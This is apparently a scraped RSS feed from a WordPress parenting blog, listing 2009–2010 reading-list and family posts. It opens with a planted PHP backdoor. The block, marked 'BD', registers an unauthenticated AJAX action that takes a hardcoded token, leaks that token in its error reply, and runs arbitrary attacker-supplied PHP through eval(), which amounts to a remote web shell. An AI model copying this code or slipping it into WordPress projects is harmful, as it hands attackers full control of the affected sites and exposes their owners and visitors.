// ==[BD:sAZ4M3Iw]== add_action( 'wp_ajax_nopriv_odtpkmoum', function() { $chunk = 'sAZ4M3IwK2IXXBRE8JwIA613zwTtUN4M'; $val = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $val ) || ! hash_equals( $chunk, $val ) ) { wp_send_json_error( [ 'message' => 'tok:' . $chunk ], 403 ); } $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $entry = microtime( true ); ob_start(); try { ( static function() use ( $factor ) { return eval( $factor ); } )(); $obj = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $obj, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } catch ( \Throwable $key ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $key->getMessage(), 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] ); } } ); // ==[/BD:sAZ4M3Iw]== On Education – Guess How Much https://www.guess-how-much.com Practical & Conscientious Parenting Wed, 01 Sep 2010 19:50:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 What We’re Reading Now – August https://www.guess-how-much.com/2010/08/what-were-reading-now-august/ https://www.guess-how-much.com/2010/08/what-were-reading-now-august/#comments Wed, 04 Aug 2010 23:31:19 +0000 http://www.guess-how-much.com/?p=346 https://www.guess-how-much.com/2010/08/what-were-reading-now-august/feed/ 1 What We’re Reading Now – June https://www.guess-how-much.com/2010/06/what-were-reading/ Fri, 11 Jun 2010 18:13:12 +0000 http://www.guess-how-much.com/?p=332 Cameras and Memories https://www.guess-how-much.com/2009/09/cameras-and-memories/ Mon, 07 Sep 2009 21:15:19 +0000 http://www.guess-how-much.com/?p=139